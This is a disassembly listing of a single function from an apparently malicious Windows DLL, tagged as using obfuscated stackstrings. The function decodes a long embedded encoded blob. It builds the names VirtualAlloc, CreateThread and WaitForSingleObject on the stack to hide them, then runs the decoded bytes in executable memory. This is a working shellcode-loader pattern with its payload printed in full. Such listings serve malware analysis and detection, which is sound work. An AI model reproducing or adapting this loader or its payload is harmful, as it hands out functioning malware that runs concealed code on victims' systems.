Function at 0x180001680
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
mov rax, qword [0x180008040]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov dword [rbp - 0x69], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x61], xmm0
mov ecx, 0x740
call fcn.1800025f0
mov rbx, rax
mov qword [rbp - 0x61], rax
movdqa xmm0, xmmword [0x180005c20]
movdqu xmmword [rbp - 0x51], xmm0
mov rcx, rax
lea rdx, str.pCpCmrv14CI3I3WaV8j8C2HqYqWe96oBI20aN8j8m3C2wy43IP44Yya3IHnAYq415BSFmGD96moDGoH2Yq7___zTwTLo65exHSF_GGvqnJiJ18tnTSc4sGCDoy76_qWElWy4Vur8yGD9tej1DukDTXXoEKNv0qaWUej1tej56HIDJ_Tr0Ug3IS7_ID03uCA30tnXEO0Doi41lW_Gjmz422HCYqWYS_0xH6OGwC5890IBID5qsuL50000Y0YSYqOa17yFypn1Oqa0YqrOG10FGTQBGJ18Yqq0002tX0ymS3bD44ABJ1XGYqZsCqNfYm00060b18j8PH3iWqXMGI1uYKWOS8b846Y9I0XOYKZ4YqZ3NLjUNrn1NK5UGLz10003cCI1IDV_w5N_ouj8qNt6Eq7N_q7BYqZ4YqN9CqNN0qZMY_03y7B0EqIPEJI0nWD5C0oDGH1qm8N0CqKUwz2BI006G02yGVOpH7J0XKZuYqZWLVy00100k479CpnEZKG1oSE0kjV_ouj8nej4M2HKZKZ9CqNN_ykBICQBH50aL8r8oJD5r__BYqZ6YqH895IDICapHTV_ouj8nej4G2HKZKZ9CqNN_ykBICQBH3WaL8r8oJD5r__BYqZ6YqGm95IDICapHTV_ouj8nej40002_9MDICapHTV_nej4176DGSkBI0000l2LZKZ9CqNN_m000k65YCkBI0ZemMR5YqN2HRSFoJD50002u8M80002u9MDIC95YjV_ouj8W5MDI0P0ZKJ9CqNbTS25rl_BYqZ0LOr8n8j5000CQHN_000d4BaBwm00012yGSH5YG6B28j8642BI0dhrFz1C4sDI0brm8L8s5N_0MwDHQH600B0HSSmJOr80001S8GFm8L8s8j8rVz10akD82HSYTQBGGP3ZKGe97I9HCapHG5pZKG0006PXG_0XT1L_m000F2LZKW00082kTR_GJ1DZKXm95IDI115ZKpmJOrCrlz1y4sDI60aL8r882H4YKX094IDJ50aH8r8I2HCZKme94I9I5WaH8r8rlz1T2HSY7CbSoLm94J7Q2HSY7CbSoLa94J7SoLp9M0aHCTS95o8000005WaHCTK95o80000050aHCTC95o8000004WaHCT495o80000040aHCSy95o80000EJWaHCSq95o8CJ4kDp0aHCS000BydOWuBZ4q0002_8N70002z9s8BZ0nCG000l25nn1DZKY6NOXW95IDI20aH8b80002y8MDJ20WX4N7PZ0aH8r80002_8sDJ2WaH8b883GsTu15npWaH8r80002j8GFm8NRCzF_S4sDID8prlz106TlR0000kY5nm0kPMICHSTmJOr8NsTlR8X5ntWaL8r882H4YKXmHOrCSoLy94J7PW000kY5ZKY8JOrCVYH4Y7CbSoLu94J7m3FG_m00082vS5MDI0000pBes8j8v4dpCBa000C_wF2BJ73o_Z6v0003JEZWYqpGws2DkG000rdes4M9I4rx7XAv0003P_ZeHOb8W3GegRa000DrwFYBJ65DRdMv0003WkZWHOb8NyZP0ha000EGwFYBIELJf5Yv0003dUZmYqXVEEl2kG000whew8jCONIbcRa000EtwD15YKZWtm_gkG000yNe06k0ARdJ_xfzY41iRBX5nsPaBdHoj4N7OtPpRR15nx1DZKZJ_wfzY41iRAX5nsPaBZ8pf4N7Np9pTw15nw1DZKZJ_snic4N7PcGkCZEKHSUGJOr8cds8GDYBI79bStMGHSV_Cm0012xe1oPtJBa000EOx858___zQ2IiZKXNGLP1LK5KGLTMKrL0pCpC00000_a
mov r8d, 0x73b
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0x73b], 0
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x41]
call fcn.1800012b0
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xor ebx, ebx
mov qword [rbp - 0x11], rbx
mov r14d, 0xf
mov qword [rbp - 9], r14
mov byte [rbp - 0x21], bl
mov dword [rbp - 0x69], 1
mov ecx, dword [rax + 0x10]
sub ecx, 1
movsxd rdi, ecx
js 0x180001780
mov rax, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x18000173f
mov rax, qword [rsi]
movzx r9d, byte [rdi + rax]
cmp rbx, r14
jae 0x180001769
lea rax, [rbx + 1]
mov qword [rbp - 0x11], rax
lea rax, [rbp - 0x21]
cmp r14, 0xf
cmova rax, qword [rbp - 0x21]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x180001772
lea rcx, [rbp - 0x21]
call fcn.180002290
sub rdi, 1
mov r14, qword [rbp - 9]
mov rbx, qword [rbp - 0x11]
jns 0x180001732
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x1800017be
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800017b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800017b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000299c
movdqa xmm0, xmmword [0x180005c00]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rbp - 0x41], 0
mov rdx, qword [rbp - 0x49]
cmp rdx, 0xf
jbe 0x18000180d
inc rdx
mov rcx, qword [rbp - 0x61]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001808
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001808
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000299c
lea rsi, [rbp - 0x21]
mov r15, qword [rbp - 0x21]
cmp r14, 0xf
cmova rsi, r15
mov dword [rbp - 1], 0x74726956
mov dword [rbp + 3], 0x416c6175
mov dword [rbp + 7], 0x636f6c6c
mov byte [rbp + 0xb], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call rax
mov rdi, rax
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov dword [rbp + 0xf], 0x61657243
mov dword [rbp + 0x13], 0x68546574
mov dword [rbp + 0x17], 0x64616572
mov byte [rbp + 0x1b], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call rax
mov rbx, rax
movdqa xmm0, xmmword [str.WaitForSingleObj_]
movdqu xmmword [rbp + 0x1f], xmm0
mov dword [rbp + 0x2f], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xffffffff
mov rcx, rbx
call rax
nop
cmp r14, 0xf
jbe 0x18000193a
lea rdx, [r14 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x180001932
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001932
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.18000299c
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1800025d0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret